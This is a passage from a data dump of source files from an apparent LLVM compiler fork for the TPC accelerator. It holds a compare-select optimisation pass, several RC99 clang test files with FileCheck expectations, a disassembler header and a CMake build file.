DeleteList.insert(&SelInst);\n DeleteList.insert(OrInst);\n return true;\n}\n\nbool TPCReplaceCmpSelPass::replaceCmpSel(Instruction &I) {\n auto *SI = dyn_cast<SelectInst>(&I);\n LLVM_DEBUG(dbgs() << \"Finding Cmp-Sel pattern\\n\");\n if (!SI)\n return false;\n\n auto *CmpI = dyn_cast<CmpInst>(SI->getCondition());\n if (!CmpI) {\n if (replaceOrSel(*SI))\n return true;\n LLVM_DEBUG(dbgs() << \"Cmp/Sel not found\\n\");\n return false;\n }\n\n auto &Context = I.getParent()->getContext();\n auto PredKind = CmpI->getPredicate();\n auto It = IntrinsicMap.find(PredKind);\n if (It == IntrinsicMap.end()) {\n LLVM_DEBUG(dbgs() << \"Replacement sel_* intrinsic not found\\n\");\n return false;\n }\n\n auto Ty = SI->getOperand(1)->getType();\n auto CmpTy = CmpI->getOperand(0)->getType();\n\n // We only need this transformation for vector types.\n // Exclude co-ordinate vector type.\n auto CoorType = VectorType::get(IntegerType::get(Context, 32), 5);\n if (!Ty->isVectorTy() || !CmpTy->isVectorTy() || Ty == CoorType ||\n CmpTy == CoorType) {\n LLVM_DEBUG(dbgs() << \"Vector type check failed\\n\");\n return false;\n }\n\n // If the type is not supported for sel_* intrinsic, then return.\n VectorType *VType = dyn_cast<VectorType>(Ty);\n assert(VType != nullptr && \"Type should be a vector.\");\n Type *ElementTy = VType->getElementType();\n unsigned TyID = ElementTy->getTypeID();\n if (ElementTy->isIntegerTy())\n TyID = ElementTy->getScalarSizeInBits() * TyID;\n\n auto TyIt = TypeMap.find(TyID);\n if (TyIt == TypeMap.end()) {\n LLVM_DEBUG(dbgs() << \"Unsupported type for sel_* intrinsic\\n\");\n return false;\n }\n\n auto ElementTyID = TyIt->second;\n\n auto ID = It->second;\n IRBuilder<> Builder(&I);\n SmallVector<Type *, 8> Types{CmpTy,\n CmpTy,\n Ty,\n Ty,\n IntegerType::get(Context, 8),\n IntegerType::get(Context, 32),\n Ty,\n llvm::Type::getInt1Ty(Context),\n llvm::Type::getInt1Ty(Context)};\n\n FunctionType *FType = FunctionType::get(Ty, Types, false);\n Function *Intrinsic = cast<Function>(\n I.getModule()\n ->getOrInsertFunction(getIntrinsicName(ID, FType), FType)\n .getCallee());\n auto *Call = Builder.CreateCall(\n Intrinsic,\n {CmpI->getOperand(0), CmpI->getOperand(1), SI->getOperand(1),\n SI->getOperand(2),\n llvm::ConstantInt::get(IntegerType::get(Context, 8), ElementTyID),\n llvm::ConstantInt::get(IntegerType::get(Context, 32), 0),\n UndefValue::get(SI->getOperand(1)->getType()),\n llvm::ConstantInt::get(Type::getInt1Ty(Context), 1),\n llvm::ConstantInt::getFalse(Context)});\n\n SI->replaceAllUsesWith(Call);\n SelList.push_back(Call);\n DeleteList.insert(SI);\n DeleteList.insert(CmpI);\n\n return true;\n}\n\nunsigned TPCReplaceCmpSelPass::getElementID(Value *op1) {\n auto Ty = op1->getType();\n VectorType *VType = dyn_cast<VectorType>(Ty);\n Type *ElementTy = VType->getElementType();\n unsigned TyID = ElementTy->getTypeID();\n if (ElementTy->isIntegerTy())\n TyID = ElementTy->getScalarSizeInBits() * TyID;\n auto TyIt = TypeMap.find(TyID);\n if (TyIt == TypeMap.end()) {\n LLVM_DEBUG(dbgs() << \"Unsupported type for sel_* intrinsic\\n\");\n return INVALID_ID;\n }\n return TyIt->second;\n}\nstatic Type *getSel2ReturnType(Type *Ty) {\n if (!Ty->isVectorTy())\n return nullptr;\n auto VecTy = dyn_cast<VectorType>(Ty);\n auto ElemenTy = VecTy->getElementType();\n unsigned ElementCount = VecTy->getElementCount().Min;\n return VectorType::get(ElemenTy, 2 * ElementCount);\n}\n\nbool TPCReplaceCmpSelPass::replaceSelWithSel2(\n std::pair<Instruction *, Instruction *> sel) {\n Instruction *inst2 = sel.first;\n Instruction *inst1 = sel.second;\n /*Check if both are Intrinsics*/\n if (auto *Intrins1 = (dyn_cast<IntrinsicInst>(inst1))) {\n if (auto *Intrins2 = (dyn_cast<IntrinsicInst>(inst2))) {\n /*compare the instinsic ID for both of them*/\n Intrinsic::ID Inid1 = Intrins1->getIntrinsicID();\n Intrinsic::ID Inid2 = Intrins2->getIntrinsicID();\n if (Inid1 == Inid2) {\n /*Check if the first two arg match next 2*/\n Value *op0, *op1, *op2, *op3;\n op0 = inst1->getOperand(0);\n op1 = inst1->getOperand(1);\n op2 = inst1->getOperand(2);\n op3 = inst1->getOperand(3);\n if (((op0 == op2) && (op1 == op3)) || ((op0 == op3) && (op1 == op2))) {\n /*compare this with inst 2*/\n Value *inst1op0, *inst1op1, *inst1op2, *inst1op3;\n inst1op0 = inst2->getOperand(0);\n inst1op1 = inst2->getOperand(1);\n inst1op2 = inst2->getOperand(2);\n inst1op3 = inst2->getOperand(3);\n if (((op0 == inst1op0) && (op1 == inst1op1)) ||\n ((op0 == inst1op1) && (op1 == inst1op0))) {\n auto &Context = inst1->getParent()->getContext();\n Intrinsic::ID ID;\n if (Inid1 == Intrinsic::tpc_sel_grt) {\n ID = Intrinsic::tpc_sel2_grt;\n } else if (Inid1 == Intrinsic::tpc_sel_leq) {\n ID = Intrinsic::tpc_sel2_leq;\n } else if (Inid1 == Intrinsic::tpc_sel_less) {\n ID = Intrinsic::tpc_sel2_less;\n } else if (Inid1 == Intrinsic::tpc_sel_geq) {\n ID = Intrinsic::tpc_sel2_geq;\n } else {\n return false;\n }\n /*Now we need to build the sel2 intrinsic*/\n\n IRBuilder<> Builder(inst1);\n auto IncomeTy = getSel2ReturnType(inst1op2->getType());\n SmallVector<Type *, 8> Types{op0->getType(),\n op0->getType(),\n op1->getType(),\n op1->getType(),\n IntegerType::get(Context, 8),\n IntegerType::get(Context, 32),\n IncomeTy,\n llvm::Type::getInt1Ty(Context),\n llvm::Type::getInt1Ty(Context)};\n\n FunctionType *FType = FunctionType::get(IncomeTy, Types, false);\n Function *Intrinsic = cast<Function>(\n inst1->getModule()\n ->getOrInsertFunction(getIntrinsicName(ID, FType), FType)\n .getCallee());\n\n unsigned ElementTyID = getElementID(op1);\n if (ElementTyID == INVALID_ID) {\n return false;\n }\n\n auto *Call = Builder.CreateCall(\n Intrinsic,\n {op0, op1, inst1op2, inst1op3,\n llvm::ConstantInt::get(IntegerType::get(Context, 8),\n ElementTyID),\n llvm::ConstantInt::get(IntegerType::get(Context, 32), 0),\n UndefValue::get(IncomeTy),\n llvm::ConstantInt::get(Type::getInt1Ty(Context), 1),\n llvm::ConstantInt::getFalse(Context)});\n\n auto Sel2Type = inst1op2->getType();\n unsigned Val = 0;\n if (Sel2Type->isVectorTy()) {\n auto VectorTy = dyn_cast<VectorType>(Sel2Type);\n Val = (VectorTy->getElementCount().Min);\n }\n auto Mask = createSequentialMask(Builder, 0, Val, 0);\n auto Shuffle1 = Builder.CreateShuffleVector(\n Call, UndefValue::get(Call->getType()), Mask);\n\n Mask = createSequentialMask(Builder, Val, Val, 0);\n auto Shuffle2 = Builder.CreateShuffleVector(\n Call, UndefValue::get(Call->getType()), Mask);\n\n inst1->replaceAllUsesWith(Shuffle2);\n inst2->replaceAllUsesWith(Shuffle1);\n DeleteList.insert(inst1);\n DeleteList.insert(inst2);\n }\n }\n }\n }\n }\n return false;\n}\n\nbool TPCReplaceCmpSelPass::runOnFunction(Function &F) {\n if (skipFunction(F))\n return false;\n\n bool Change = false;\n for (auto &BB : F)\n for (auto &I : BB) {\n Change |= replaceCmpSel(I);\n }\n\n /*Check the list and make it a pair*/\n if (SelList.size() < 2) {\n return Change;\n }\n\n while (SelList.size() > 1) {\n sels.first = SelList.back();\n SelList.pop_back();\n sels.second = SelList.back();\n SelList.pop_back();\n replaceSelWithSel2(sels);\n }\n\n for (auto *I : DeleteList) {\n I->replaceAllUsesWith(UndefValue::get(I->getType()));\n I->eraseFromParent();\n }\n\n return Change;\n}\n" }, { "alpha_fraction": 0.5295109748840332, "alphanum_fraction": 0.6543001532554626, "avg_line_length": 48.41666793823242, "blob_id": "170371191480ac1ea7380afa5b19f6a598acc0b0", "content_id": "01301eb3c1591e2f3c1cb67e89a11ec68dc69a71", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 593, "license_type": "permissive", "max_line_length": 149, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_short256_to_bfloat256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n short256 *sptr = (short256 *)src;\n bfloat256 *dptr = (bfloat256 *)dest;\n short256 src_val = *sptr;\n *dptr++ = convert_short256_to_bfloat256(src_val, 0);\n *dptr = convert_short256_to_bfloat256(src_val, SW_RD);\n}\n\n// CHECK-IR: sitofp <256 x i16> {{.*}} to <256 x bfloat>\n// CHECK-IR: call <256 x bfloat> @llvm.tpc.convert.v256bf16.v256i16.i1(<256 x i16> {{.*}}, i8 7, i32 196864, <256 x bfloat> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.40391942858695984, "alphanum_fraction": 0.5100707411766052, "avg_line_length": 38.934783935546875, "blob_id": "5f25695920a0454382db8912485b14ba4b6c1755", "content_id": "b6e6acf240e69663ffaa2cb0e655f31cb4490e2e", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1837, "license_type": "permissive", "max_line_length": 106, "num_lines": 46, "path": "/clang/test/RC99/IntrinsicsM/mul/v_u32_mul_round_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(unsigned int a, unsigned int b, int dest, int src, _Bool pred) {\n uint64 __local *dptr = (uint64 __local *)dest;\n uint64 x0 = *(uint64 __local *)(src + 0 * 256);\n uint64 x1 = *(uint64 __local *)(src + 1 * 256);\n uint64 res = { 0 };\n\n res = v_u32_mul_round_b(x0, x1, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.u32 double_and_round32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = v_u32_mul_round_b(x0, x1, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.u32 double_and_round32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = v_u32_mul_round_b(x0, x1, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.u32 double_and_round32 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_u32_mul_round_b(x0, a, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.u32 double_and_round32 %V{{[0-9]+}}, %V{{[0-9]+}}, %S0, %SP{{[0-9]+}}\n\n res = v_u32_mul_round_b(x0, a, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.u32 double_and_round32 %V{{[0-9]+}}, %V{{[0-9]+}}, %S0, !%SP{{[0-9]+}}\n\n res = v_u32_mul_round_b(x0, a, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.u32 double_and_round32 %V{{[0-9]+}}, %V{{[0-9]+}}, %S0, %SP0\n\n res = v_u32_mul_round_b(x0, 123, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.u32 double_and_round32 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP{{[0-9]+}}\n\n res = v_u32_mul_round_b(x0, 123, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.u32 double_and_round32 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%SP{{[0-9]+}}\n\n res = v_u32_mul_round_b(x0, 123, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.u32 double_and_round32 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n}\n" }, { "alpha_fraction": 0.5501022338867188, "alphanum_fraction": 0.6523517370223999, "avg_line_length": 27.764705657958984, "blob_id": "68d8b945aa17f7b22857c86baa9ad1b142a7a1e7", "content_id": "541db18c6944950c468b5f8681f02408b1c2cf32", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 978, "license_type": "permissive", "max_line_length": 85, "num_lines": 34, "path": "/clang/test/RC99/main/main-09.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -std=rc99 -triple tpc-none-none -verify %s\n\nvoid main(\n tensor t0,\n tensor t1,\n tensor t2,\n tensor t3,\n tensor t4,\n tensor t5,\n tensor t6,\n tensor t7, // expected-error{{too many tensors are declared}}\n // The last tensor is used for extra arguments\n tensor t8,\n tensor t9,\n tensor t10,\n tensor t11,\n tensor t12,\n tensor t13,\n tensor t14,\n tensor t15,\n int arg0, int arg1, int arg2, int arg3, int arg4,\n int arg5, int arg6, int arg7, int arg8, int arg9,\n int arg10, int arg11, int arg12, int arg13, int arg14,\n int arg15, int arg16, int arg17, int arg18, int arg19,\n int arg20, int arg21, int arg22, int arg23, int arg24,\n int arg25, int arg26, int arg27, int arg28, int arg29,\n int arg30, int arg31, int arg32, int arg33, float float34\n) {\n int __local *ptr[] = { (int __local *)arg0,(int __local *)arg1 };\n *ptr[0] = arg32;\n *ptr[1] = arg33;\n int __local *ptr1 = (int __local *)arg2;\n *ptr1 = float34;\n}\n" }, { "alpha_fraction": 0.37804877758026123, "alphanum_fraction": 0.4893292784690857, "avg_line_length": 36.485713958740234, "blob_id": "864e85276535574a4ce2cf526da96cad51e7e6c3", "content_id": "65633481eeb8a25e6cf9a76aa944be374d7617ca", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1312, "license_type": "permissive", "max_line_length": 106, "num_lines": 35, "path": "/clang/test/RC99/IntrinsicsM/mul/v_u16_mul_vb.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(unsigned short a, unsigned short b, int dest, int src) {\n uint128 __local *dptr = (uint128 __local *)dest;\n ushort128 x0 = *(ushort128 __local *)(src + 0 * 256);\n ushort128 x1 = *(ushort128 __local *)(src + 1 * 256);\n bool128 pred = *(bool128 __local *)(src + 2 * 256);\n uint128 res = { 0 };\n\n res = v_u16_mul_vb(x0, x1, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_u16_mul_vb(x0, x1, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n res = v_u16_mul_vb(x0, a, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S0, %VP{{[0-9]+}}\n\n res = v_u16_mul_vb(x0, a, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S0, !%VP{{[0-9]+}}\n\n res = v_u16_mul_vb(x0, 123, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %VP{{[0-9]+}}\n\n res = v_u16_mul_vb(x0, 123, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.u16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%VP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.65561842918396, "alphanum_fraction": 0.703314483165741, "avg_line_length": 52.78260803222656, "blob_id": "3aa5948fa40422bf8b9b13ec56e7037cc47679ea", "content_id": "8686ee0d4e03a6569a82a2162f1b335bda9a5f01", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1237, "license_type": "permissive", "max_line_length": 110, "num_lines": 23, "path": "/clang/test/RC99/restrictions/mul.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\nvoid main(int dest, int src) {\n char256 __local *cptr = (char256 __local *)src;\n char256 cres = *cptr * *cptr; // expected-error{{ultiplication is not supported for this operand type}}\n char256 cres2 = *cptr;\n cres2 *= *cptr; // expected-error{{ultiplication is not supported for this operand type}}\n\n uchar256 __local *ucptr = (uchar256 __local *)src;\n uchar256 ucres = *ucptr * *ucptr; // expected-error{{ultiplication is not supported for this operand type}}\n uchar256 ucres2 = *ucptr;\n ucres2 *= *ucptr; // expected-error{{ultiplication is not supported for this operand type}}\n\n short128 __local *sptr = (short128 __local *)src;\n short128 sres = *sptr * *sptr; // expected-error{{ultiplication is not supported for this operand type}}\n short128 sres2 = *sptr;\n sres2 *= *sptr; // expected-error{{ultiplication is not supported for this operand type}}\n\n ushort128 __local *usptr = (ushort128 __local *)src;\n ushort128 usres = *usptr * *usptr; // expected-error{{ultiplication is not supported for this operand type}}\n ushort128 usres2 = *usptr;\n usres2 *= *usptr; // expected-error{{ultiplication is not supported for this operand type}}\n}\n" }, { "alpha_fraction": 0.5037974715232849, "alphanum_fraction": 0.5848101377487183, "avg_line_length": 34.90909194946289, "blob_id": "85f821d218a3b3d18304c23639b3d2e743ee2988", "content_id": "fa77e37c488b61c1558e401dc4620f41a716963d", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 395, "license_type": "permissive", "max_line_length": 106, "num_lines": 11, "path": "/clang/test/RC99/bfloat16/bf16_neg-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -triple tpc-none-none -std=rc99 -O1 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(int dest, int src) {\n bfloat128 __local *dptr = (bfloat128 __local *) dest;\n bfloat128 __local *sptr = (bfloat128 __local *) src;\n\n *dptr = -*sptr;\n// CHECK: ld_l_v [[REG:%V[0-9]+]], %S1\n// CHECK: xor.bf16 [[REG2:%V[0-9]+]], [[REG]], 0x8000\n// CHECK: st_l_v %S0, [[REG2]]\n}\n" }, { "alpha_fraction": 0.5828877091407776, "alphanum_fraction": 0.6417112350463867, "avg_line_length": 30.16666603088379, "blob_id": "04cef874ed3d568f0504652281ce94db436ae70b", "content_id": "af1675d40cb689d61e8f3a9591141100f8e58b99", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 187, "license_type": "permissive", "max_line_length": 80, "num_lines": 6, "path": "/clang/test/RC99/utils/gen_err-05.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %intr-gen %s 2>&1 | FileCheck %s\n\nint func_01(bool x=4);\n\n// CHECK: line 3 error: Default argument of boolean parameter 'x' must be 1 or 0\n// CHECK: > int func_01(bool x=4);\n" }, { "alpha_fraction": 0.5974441170692444, "alphanum_fraction": 0.6134185194969177, "avg_line_length": 21.35714340209961, "blob_id": "067cece6936e685bc05ba1e06e4afe31a5129550", "content_id": "9c183553a12e2cdba8c3938ed15e1597be69d1e1", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 313, "license_type": "permissive", "max_line_length": 55, "num_lines": 14, "path": "/clang/test/RC99/sections.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang -c %s -o %t.o\n// RUN: llvm-objdump -triple=tpc -s %t.o | FileCheck %s\n\n//GAUDI-1366\n// XFAIL:*\n\nvoid main(int dest, float val) {\n float __local *ptr = (float __local *)dest;\n *ptr = val + 2;\n}\n\n// CHECK: Contents of section .llvmir:\n// CHECK: Contents of section .source:\n// CHECK: void main\n" }, { "alpha_fraction": 0.6583333611488342, "alphanum_fraction": 0.6833333373069763, "avg_line_length": 23, "blob_id": "a6927e9fd9fb7bed8537c9768d9c53dd87706721", "content_id": "3486c4a47eb74316a5e9f547952532e579b13050", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 120, "license_type": "permissive", "max_line_length": 75, "num_lines": 5, "path": "/clang/test/RC99/check-std.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -triple tpc-none-none -std=rc99 -verify %s\n// expected-no-diagnostics\n\nvoid main() {\n}\n" }, { "alpha_fraction": 0.6534190773963928, "alphanum_fraction": 0.667445957660675, "avg_line_length": 28.5, "blob_id": "375e83c3f9fde8084fce4c03d317ac1d6d935566", "content_id": "7b9f47c19c08954c1c63f35816d4e0efd9e60ee5", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1711, "license_type": "permissive", "max_line_length": 111, "num_lines": 58, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCInstrDecomposer.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCInstrDecomposer.h - Convert TPC instructions layout to LLVM instructions layout -------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n\n#ifndef LLVM_TPCINSTRDECOMPOSER_H\n#define LLVM_TPCINSTRDECOMPOSER_H\n\n#include \"llvm/MC/MCDisassembler/MCDisassembler.h\"\n#include \"TPCInstrLayout.h\"\n#include <bitset>\n\nnamespace llvm {\n\nclass TPCInstrDecomposer {\n\n const FeatureBitset &TPCFeatures;\n bool MayCompress = false;\n bool IsCompressed;\n CompressionType CT;\n unsigned InstructionSize = 256 / 8;\n std::bitset<256> Bundle;\n\n void createLLVMNOP(uint64_t &Insn, const Field &F);\n\n MCDisassembler::DecodeStatus\n getLLVMInst(uint64_t &Insn, const std::map<Fields, Field> &Layout, TPCII::IType SlotType);\n\npublic:\n TPCInstrDecomposer(const ArrayRef<uint8_t> &MIBytes, const FeatureBitset &Features) : TPCFeatures(Features) {\n memcpy(&Bundle, &MIBytes.front(), InstructionSize);\n }\n\n ~TPCInstrDecomposer() {};\n\n MCDisassembler::DecodeStatus getLLVMInstSPU(uint64_t &Insn);\n\n MCDisassembler::DecodeStatus getLLVMInstVPU(uint64_t &Insn);\n\n MCDisassembler::DecodeStatus getLLVMInstLoad(uint64_t &Insn);\n\n MCDisassembler::DecodeStatus getLLVMInstStore(uint64_t &Insn);\n\n MCDisassembler::DecodeStatus getLLVMInstIMM(uint32_t &IMM);\n\n uint64_t getBundleSizeInBytes() { return InstructionSize; }\n bool getIsCompressed() { return IsCompressed; }\n};\n}\n\n#endif //LLVM_TPCINSTRDECOMPOSER_H\n" }, { "alpha_fraction": 0.6105263233184814, "alphanum_fraction": 0.6631578803062439, "avg_line_length": 30.5, "blob_id": "05286dc00ba57b9af931f71055a5cf4736f74696", "content_id": "1ccb71ac46ae4ea77e21a69aa0aa46747fd65389", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 190, "license_type": "permissive", "max_line_length": 78, "num_lines": 6, "path": "/clang/test/RC99/literal_const-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s \n\nfloat res = 1.q; // expected-error{{float128 literal constant is not allowed}}\nvoid main() {\n res = 11.4f; \n}\n\n" }, { "alpha_fraction": 0.7662517428398132, "alphanum_fraction": 0.7662517428398132, "avg_line_length": 18.026315689086914, "blob_id": "461cb6a70607bac47bdf248597072fd55669e3e8", "content_id": "f3281e8a852641dbf82319e7797444f1329294f4", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 723, "license_type": "permissive", "max_line_length": 70, "num_lines": 38, "path": "/llvm/tools/llvm-objdump/CMakeLists.txt", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "set(LLVM_LINK_COMPONENTS\n AllTargetsAsmPrinters\n AllTargetsDescs\n AllTargetsDisassemblers\n AllTargetsInfos\n BinaryFormat\n CodeGen\n DebugInfoDWARF\n DebugInfoPDB\n Demangle\n MC\n MCDisassembler\n Object\n Support\n Symbolize\n )\n\nadd_llvm_tool(llvm-objdump\n llvm-objdump.cpp\n COFFDump.cpp\n ELFDump.cpp\n MachODump.cpp\n WasmDump.cpp\n TPCDump.cpp\n )\n\nif(HAVE_LIBXAR)\n target_link_libraries(llvm-objdump PRIVATE ${XAR_LIB})\nendif()\n\nif(LLVM_INSTALL_BINUTILS_SYMLINKS)\n add_llvm_tool_symlink(objdump llvm-objdump)\nendif()\n\nif(\"TPC\" IN_LIST LLVM_TARGETS_TO_BUILD)\n add_llvm_tool_symlink(tpc-llvm-objdump llvm-objdump ALWAYS_GENERATE)\n llvm_install_symlink(tpc-llvm-objdump llvm-objdump ALWAYS_GENERATE)\nendif()\n" }, { "alpha_fraction": 0.4648747742176056, "alphanum_fraction": 0.49358582496643066, "avg_line_length": 27.719297409057617, "blob_id": "86314a5d44c6b79d704cbb195fee0f2597b9fea5", "content_id": "9bd99f7939de37689ff8cde14d5969ced15ab1a3", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1637, "license_type": "permissive", "max_line_length": 78, "num_lines": 57, "path": "/clang/test/RC99/regression/GAUDI-255b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O1 -o - %s\n// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O2 -o - %s\n\n// This is max_4_val_and_idx_i8.c from GAUDI-255 attachments.\n\n/*****************************************************************************\n* Copyright (C) 2017 HabanaLabs, Ltd.\n* All Rights Reserved.\n*\n* Unauthorized copying of this file, via any medium is strictly prohibited.\n* Proprietary and confidential.\n*\n* Kernel assumptions:\n* ====================\n* input is a row major matrix\n* output is a row major matrix\n* index space is 1D, dictating which part of the input matrix is provided\n* \n* Authors:\n* Ron Shalev <[email protected]>\n******************************************************************************\n*/\n\n#define K 4\n\n__local__ char256 max_k_value[4];\n__local__ ushort128 max_k_index[4];\n\nvoid main(tensor ifm, tensor ofm, char firstActivation, char lastActivation) \n{\n int5 index_space_start = get_index_space_offset();\n int5 index_space_end = get_index_space_size() + index_space_start;\n\n if (firstActivation==1)\n {\n for (int d = index_space_start[0] ; d < index_space_end[0]; d += 1)\n {\n char256 unsorted[K];\n int5 ifmIndex = {d};\n for (int k=0; k<K; k++)\n {\n // unsorted[k] = v_i8_ld_tnsr_i(ifmIndex,ifm);\n // ifmIndex[0]++;\n unsorted[k] = 1;\n }\n\n char256 sum = 0;\n\n for (int k=0; k<K; k++)\n {\n sum += unsorted[k];\n }\n \n i8_st_tnsr_i_v(index_space_start, ofm, sum);\n }\n }\n}\n" }, { "alpha_fraction": 0.6090651750564575, "alphanum_fraction": 0.6317280530929565, "avg_line_length": 17.578947067260742, "blob_id": "a16068c13d2471b5d34129d29d78ccd999c05e1f", "content_id": "2e4b97dc56d9e99f6b2677e5b0843b810cb53a5c", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 353, "license_type": "permissive", "max_line_length": 96, "num_lines": 19, "path": "/clang/test/RC99/inline_02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %clang_cc1 -S -emit-llvm -triple tpc-none-none -std=rc99 %s -o - 2>&1 | FileCheck %s\n\nint factorial(int n);\n\nint ret_one(int n) {\n return n*factorial(n - 1);\n}\n\nint factorial(int n)\n{\n return n*ret_one(n - 1);\n}\n\n\nint main()\n{\n return ret_one(7);\n}\n// CHECK: fatal error: error in backend: Function {{.*}} participates in recursion call.\n" }, { "alpha_fraction": 0.5366666913032532, "alphanum_fraction": 0.6366666555404663, "avg_line_length": 36.474998474121094, "blob_id": "58c1d19a39701ab16d45f8fe4fc888ce1a1cc61b", "content_id": "5ff8ad9337fc08cc8afe545a7b8898a51db29b3d", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1500, "license_type": "permissive", "max_line_length": 309, "num_lines": 40, "path": "/clang/test/RC99/driver/lut-warn/dali/lut-warn-correct-64.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang %s -S 2>&1 | FileCheck %s -allow-empty\n\nvoid main(int x0, int x2, int x3, int dest0, int dest1, int 